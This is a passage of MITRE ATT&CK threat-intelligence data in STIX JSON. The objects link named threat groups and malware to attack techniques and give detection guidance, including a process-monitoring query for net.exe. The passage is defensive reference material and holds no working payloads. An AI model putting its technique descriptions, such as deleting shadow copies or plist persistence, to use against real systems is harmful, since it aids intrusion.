Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--736856d1-3ae3-4135-9dd4-7dfa6b55715b","created":"2022-08-18T15:44:11.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Google EXOTIC LILY March 2022","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T17:30:17.317Z","description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has gained execution through victims clicking on malicious LNK files contained within ISO files, which can execute hidden DLLs within the ISO.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--736a676f-7a27-4459-9dab-22d214a4db9e","created":"2022-10-17T16:10:10.001Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T16:10:10.001Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used malware to disable Windows Defender.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--736a8636-78f7-4ed7-80d4-73602eb32768","created":"2024-05-20T18:40:35.822Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T18:40:35.822Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has gained initial access by exploiting privilege escalation vulnerabilities in the operating system or network services.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--736b73d4-a72b-46cc-a9f0-b102d0d0ec48","type":"relationship","created":"2020-09-11T15:11:28.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:11:28.315Z","description":"[Anchor](https://attack.mitre.org/software/S0504) has used HTTP and HTTPS in C2 communications.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73717937-3d8f-402d-a222-b40d15a49cea","type":"relationship","created":"2020-11-20T15:49:53.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike BloodHound April 2018","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}],"modified":"2020-11-20T15:49:53.644Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can collect information on user sessions.(Citation: CrowdStrike BloodHound April 2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73724588-5c34-48d0-b762-d0338ab17589","created":"2024-02-09T19:08:47.039Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:08:47.039Z","description":"[PACEMAKER](https://attack.mitre.org/software/S1109) can use PTRACE to attach to a targeted process to read process memory.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--647215dd-29a6-4528-b354-ca8b5e08fca1","target_ref":"attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--737788fa-f921-4147-9148-c39228f76e85","type":"relationship","created":"2019-07-09T17:42:44.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.131Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) has the ability to start and stop a specified service.(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73798ada-f5a4-4029-ac0c-39bcae68df98","type":"relationship","created":"2021-03-19T19:59:30.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest parti","url":"https://objective-see.com/blog/blog_0x59.html","description":"Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."}],"modified":"2021-04-26T19:23:34.051Z","description":"When running with root privileges after a [Launch Agent](https://attack.mitre.org/techniques/T1543/001) is installed, [ThiefQuest](https://attack.mitre.org/software/S0595) installs a plist file to the /Library/LaunchDaemons/ folder with the RunAtLoad key set to true establishing persistence as a Launch Daemon. (Citation: wardle evilquest parti)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--737af098-bd8c-4449-b93d-adaaaa55abea","created":"2023-03-02T18:54:18.782Z","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-02T18:54:18.782Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can use `wmic.exe` to delete shadow copies on compromised networks.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--737faeca-1fde-42e8-9a69-a334bdb575de","created":"2023-09-28T16:15:38.125Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-28T16:15:38.125Z","description":"Monitor executed commands and arguments for suspicious activity associated with downloading external content.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7380936d-51af-4ee3-b729-9c56a203bdee","type":"relationship","created":"2020-09-24T15:17:32.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.669Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can list running processes on the localhost.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--738e6cb3-3a0d-4490-a254-a7c161f92989","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Elastic - Koadiac Detection with EQL","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:38:07.421Z","description":"Monitor for processes that can be used to enumerate user accounts and groups such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\n \nInformation may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nNote: Event IDs are for Sysmon (Event ID 1 - process creation) and Windows Security Log (Event ID 4688 - a new process has been created). \n- For Linux, auditing frameworks such as the Linux Auditing System (auditd) can be used to alert on the enumeration/reading of files that store local users, including /etc/passwd. \n- For MacOS, utilities that work in concert with Apple’s Endpoint Security Framework such as Process Monitor can be used to track usage of commands such as id and groups.\n\nAnalytic 1 - Net Discovery Commands\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"net.exe\" OR Image=\"net1.exe\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--738e9055-48af-4295-a2f5-4f7e135d1fb2","type":"relationship","created":"2021-10-18T22:07:00.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."}],"modified":"2021-10-18T22:07:00.376Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) can remove all command history on compromised hosts.(Citation: ESET Kobalos Feb 2021)\t","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--738fbccb-ecc9-40cb-8d51-4f558e39b01f","created":"2023-09-18T20:42:49.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:39:04.385Z","description":"\n[TA2541](https://attack.mitre.org/groups/G1018) has used compressed and char-encoded scripts in operations.(Citation: Cisco Operation Layover September 2021)\n","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--739217f2-c273-4005-8175-1261a81a1224","type":"relationship","created":"2021-02-08T22:05:36.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T22:05:36.567Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has collected credentials from infected systems, including domain accounts.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7393547f-0d33-4070-9569-733e15c72e73","type":"relationship","created":"2020-05-05T18:47:47.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.351Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a dynamic debugging feature to set the file attribute to hidden.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73952ccb-9ad7-405d-94f4-ad75fdfb8507","created":"2024-05-22T22:19:14.553Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:19:14.553Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) used the Plink tool for tunneling and connections to remote machines, renaming it systems.exe in some instances.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7396416a-39cf-4a41-b04b-79172bd032b0","created":"2022-09-26T22:03:02.107Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T22:03:02.107Z","description":"For [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), the threat actors used Dropbox to host lure documents and their first-stage downloader.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7396dd25-432c-4285-8149-1237b1273a53","created":"2020-11-06T18:40:38.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cobalt Strike TTPs Dec 2017","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"},{"source_name":"Cyberreason Anchor December 2019","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"},{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"CobaltStrike Daddy May 2017","description":"Mudge, R. (2017, May 23). Cobalt Strike 3.8 – Who’s Your Daddy?. Retrieved June 4, 2019.","url":"https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.840Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can execute a payload on a remote host with PowerShell. This technique does not write any data to disk.(Citation: cobaltstrike manual)(Citation: Cyberreason Anchor December 2019) [Cobalt Strike](https://attack.mitre.org/software/S0154) can also use [PowerSploit](https://attack.mitre.org/software/S0194) and other scripting frameworks to perform execution.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: CobaltStrike Daddy May 2017)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7398839c-3feb-4162-a3d2-dda8fc2f0375","type":"relationship","created":"2020-05-18T21:01:51.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2021-10-12T16:29:16.735Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) adds plist files with the naming format com.[random_name].plist in the /Library/LaunchDaemons folder with the RunAtLoad and KeepAlive keys set to true.(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--739b4be2-ad4d-4a40-997f-958292c860a1","type":"relationship","created":"2021-09-24T17:45:16.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-27T17:36:38.795Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) has used [cmd](https://attack.mitre.org/software/S0106) to execute commands on the system.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73a53379-746e-46db-b101-1fc45df5e458","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"source_name":"McAfee Shamoon December19 2018","description":"Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 19). Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems. Retrieved May 29, 2020.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/"}],"modified":"2020-06-15T14:22:34.198Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named “ntssrv” to execute the payload. [Shamoon](https://attack.mitre.org/software/S0140) can also spread via [PsExec](https://attack.mitre.org/software/S0029).(Citation: Palo Alto Shamoon Nov 2016)(Citation: McAfee Shamoon December19 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73a5da20-5358-4da8-8417-020a7dec52cb","type":"relationship","created":"2021-03-31T15:41:09.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:41:09.035Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) can attempt to find a new C2 server if it receives an error.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73aee1df-5faf-456f-8bde-74b531c1c2b9","created":"2023-03-26T20:21:53.305Z","revoked":false,"external_references":[{"source_name":"Talos TinyTurla September 2021","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:21:53.305Z","description":"[TinyTurla](https://attack.mitre.org/software/S0668) can save its configuration parameters in the Registry.(Citation: Talos TinyTurla September 